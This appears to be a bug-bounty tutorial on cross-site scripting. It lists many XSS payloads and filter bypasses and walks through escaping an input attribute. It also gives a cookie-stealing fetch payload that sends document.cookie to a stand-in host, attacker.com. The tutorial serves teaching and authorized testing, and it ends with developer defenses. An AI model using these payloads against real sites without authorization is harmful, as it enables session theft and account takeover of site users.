62. XSS Hunting: From Basics to Bug Bounties
Cross-Site Scripting (XSS) remains one of the most common vulnerabilities in web applications today. Although it has been known for decades, developers keep repeating the same mistakes, making XSS hunting a profitable skill for bug bounty hunters and CTF players alike.
What Is XSS?
XSS occurs when an attacker injects malicious JavaScript into a web page and it executes in another user's browser. It happens when user input is not properly sanitized before being displayed on the page. The impact ranges from cookie theft to complete account takeover.
There are three main types:
Reflected XSS: The payload is immediately reflected in the response. Common in search boxes and error messages.
Stored XSS: The payload is stored in a database and runs whenever someone views that data. Think of comment sections or user profiles.
DOM-based XSS: The vulnerability exists in the client-side JavaScript itself, where the page dynamically updates the DOM using user-controlled data.
Finding Your First XSS
Start simple. Find every place where user input appears on the page. Common locations include:
- Search features
- Login error messages
- User profiles and bios
- Comment sections
- URL parameters displayed on the page
- File-upload names
- Custom error pages
Start with the classic payload: <script>alert(1)</script>
If it is filtered, try variations:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">
Filter Bypasses
Real applications have filters. This is where creativity matters.
Case variations: Some filters check only lowercase. Try <ScRiPt>alert(1)</sCrIpT>.
Encoding tricks: Use HTML entities, Unicode, and URL encoding:
<script>alert(1)</script>
\u003cscript\u003ealert(1)\u003c/script\u003e
%3Cscript%3Ealert(1)%3C/script%3E
Event handlers: If script tags are blocked, dozens of HTML events can execute JavaScript:
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
Attribute escape: If the input appears inside an HTML attribute, close it first:
" onmouseover=alert(1) //
' onfocus=alert(1) autofocus='
Alternative string syntax: If parentheses are blocked, use a template literal:
<script>alert`1`</script>
DOM-Based XSS
This requires a different approach because the vulnerability is in the JavaScript itself. Look for code such as:
document.write(location.hash);
element.innerHTML = userInput;
eval(userInput);
Check the page source for:
innerHTMLdocument.writeeval()setTimeout()with a string argument- Assignments to
location.href
Fuzz URL fragments (#payload), query parameters, and any data JavaScript reads to modify the page.
Testing Tools
Browser DevTools: Your first line of defense. Check console errors and use the Elements tab to see how input is rendered.
Burp Suite: Intercept requests and modify parameters. Its Intruder feature can automate payload fuzzing.
XSS Hunter: Captures blind XSS. Set up a payload that calls back to your own server; this is useful for Stored XSS whose execution you cannot observe immediately.
Browser extensions: XSS Validator, Hackbar, and custom bookmarklets speed up testing.
Practical Example
You find a search feature at example.com/search?q=test. The search term appears in the result: "Results for: test"
Try: example.com/search?q=<script>alert(1)</script>
If it is filtered, inspect the HTML source. It may look like this:
<div>Results for: <script>alert(1)</script></div>
The angle brackets are encoded. But what if the input also appears inside an attribute?
<input type="text" value="your_input" />
Try: example.com/search?q=" onfocus=alert(1) autofocus="
Result:
<input type="text" value="" onfocus=alert(1) autofocus="" />
Success! You escaped the attribute and injected your own event.
Real Impact
In CTFs, XSS often leads to cookie theft when an admin bot visits a link, or to bypassing client-side validation. In bug bounties, demonstrate real impact:
- Steal a session cookie:
<script>fetch('https://attacker.com?c='+document.cookie)</script> - Capture keystrokes on sensitive pages
- Perform actions as the victim, such as changing a password or transferring money
- Deface the page
- Redirect to a phishing site
Always test targets for which you have authorization and follow responsible disclosure.
Defenses for Developers
If you are on the defensive side:
- Encode output correctly: HTML entities for HTML contexts, JavaScript escaping for JS contexts
- Use a Content Security Policy header
- Set the HTTPOnly flag on cookies
- Validate input; allowlists are better than blocklists
- Use modern frameworks that escape by default, such as React and Vue
Closing Thoughts
XSS hunting combines art and science. You must understand both how browsers parse HTML and how applications process input. Start with simple payloads, study how filters work, and build up bypass techniques.
Every application is different, so maintain a payload collection and adapt it to each target. The more you practice, the faster you will recognize vulnerable patterns. Whether for CTF flags or bug bounties, XSS skills remain valuable in 2026.
Happy hunting!